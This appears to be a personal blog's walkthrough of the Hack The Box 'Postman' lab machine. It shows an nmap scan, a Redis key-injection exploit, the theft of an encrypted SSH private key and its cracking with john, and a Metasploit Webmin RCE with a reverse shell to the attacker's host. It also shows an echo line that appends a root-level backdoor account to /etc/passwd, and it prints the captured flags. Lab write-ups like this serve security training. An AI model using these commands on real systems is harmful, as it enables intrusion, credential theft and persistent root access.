by Hello All, welcome to nav1n.com.
Here is my first post of this new blog. Let us start with a new active machine Postman. It is an easy level Linux based machine.
Let’s start.
As usual, add the IP of the machine 10.10.10.160 to /etc/hosts as postman.htb for easy enumeration.
Enumeration
To get started with I performed the namp scan. The result is below:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
➜ nmap -A -Pn -p- postman.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-03 16:16 +03 Nmap scan report for postman.htb (10.10.10.160) Host is up (0.14s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=11/2%OT=22%CT=1%CU=31557%PV=Y%DS=2%DC=T%G=Y%TM=5DBE04A OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 1025/tcp) HOP RTT ADDRESS 1 137.87 ms 10.10.14.1 2 137.98 ms postman.htb (10.10.10.160) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 266.36 seconds |
I found the SSH on port 22, a web server in port 80, a MiniServ 1.910 (Webmin
As usual, http://postman.htb didn’t reveal anything useful, so let’s move to another port 6379.
A quick Google search showed me a possible exploit written by Avinash at Github. https://github.com/Avinash-acid/Redis-Server-Exploit This exploit gives shell access on the target system if the Redis server is not configured properly and faced on the internet without any authentication.
However, this exploit can inject an RSA key to connect via SSH, with a valid user. After a while, a saw someone mentioned in the HTB forum that, there is an accessible route in /
So, I replaced the following code the:
Exploit
|
1 |
cmd4 = cmd1 + ' config set dir' + " /var/lib/"+username+"/.ssh/" |
So, after updating the avove, I ran the python exploit immediately.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
➜ postman python exploit.py 10.10.10.160 redis ******************************************************************* * [+] [Exploit] Exploiting misconfigured REDIS SERVER* * [+] AVINASH KUMAR THAPA aka "-Acid" ******************************************************************* SSH Keys Need to be Generated Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa ./id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: SHA256:37fOZRZogHexxxxxxxxxxxxxxxxxxxLJpnNrkJ0 acid_creative The key's randomart image is: +---[RSA 3072]----+ +----[SHA256]-----+ Keys Generated Successfully OK OK OK OK OK OK You'll get shell in sometime..Thanks for your patience Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Nov 4 15:26:33 2019 from 10.10.14.32 redis@Postman:~$ |
Aaandd… we have the SSH access as user redis.
Post Exploit – Finding me the way in
Without wasting a moment, I started looking for hints and found the id_rsa.bak in the /opt directory.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
redis@Postman:~$ cd /opt redis@Postman:/opt$ ls id_rsa.bak redis@Postman:/opt$ cat id_rsa.bak -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2 7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6 cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9 1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS 5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6 jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X 0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+ Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw== -----END RSA PRIVATE KEY----- redis@Postman:/opt$ |
Now that I have the RSA Private Key, I need to crack it and find the possible password for the user Matt.
I copied the key in to my Kali and covert it to hash using ssh2john.
|
1 |
ssh2john postman_rsa > postman_rsa.hash |
And then I let john to crack the hash using rockyou.txt
|
1 2 3 4 5 6 7 8 9 10 11 |
➜ postman john --wordlist=/usr/share/wordlists/rockyou.txt postman_rsa.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (postman_rsa) Warning: Only 2 candidates left, minimum 8 needed for performance. |
I relaized that the cracked password “computer2008” is user Matt’s password.
So I tried to switch from user
Grabbing User.txt
Without wasting a minute I grab the user.txt
|
1 2 3 4 5 6 7 |
redis@Postman:/$ su Matt Password: Matt@Postman:/$ Matt@Postman:/$ cd Matt@Postman:~$ cat user.txt 517ad0ec2458ca97af8d93aac08a2f3c Matt@Postman:~$ |
So, I found that the user Matt has access to the Webmin panel. So, I made a quick google search to find Webmin exploit. I actually found one, but someone suggested me that Metasploit has a working exploit built-in.
Rooting
So, I firedup Metasploit.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
msf5 > use exploit/linux/http/webmin_packageup_rce msf5 exploit(linux/http/webmin_packageup_rce) > show options Module options (exploit/linux/http/webmin_packageup_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME yes Webmin Username VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Webmin <= 1.910 msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160 rhosts => 10.10.10.160 msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008 PASSWORD => computer2008 msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt username => Matt msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.14.35 lhost => 10.10.14.35 msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true ssl => true msf5 exploit(linux/http/webmin_packageup_rce) > run [*] Started reverse TCP handler on 10.10.14.35:1234 [+] Session cookie: e0b78f397f0d87fa9c07a25b995486e3 [*] Attempting to execute the payload... [*] Command shell session 1 opened (10.10.14.35:1234 -> 10.10.10.160:40776) at id uid=0(root) gid=0(root) groups=0(root) echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd |
Grabbing the Root.txt
|
1 2 3 4 5 6 7 |
Matt@Postman:~$ su x4v1l0k Password: root@Postman:/home/Matt# cd root@Postman:~# cat root.txt a257741c5bed8be7778c6ed95686ddce root@Postman:~# |
Well went exact route just skipped python script modification, gave it radis user )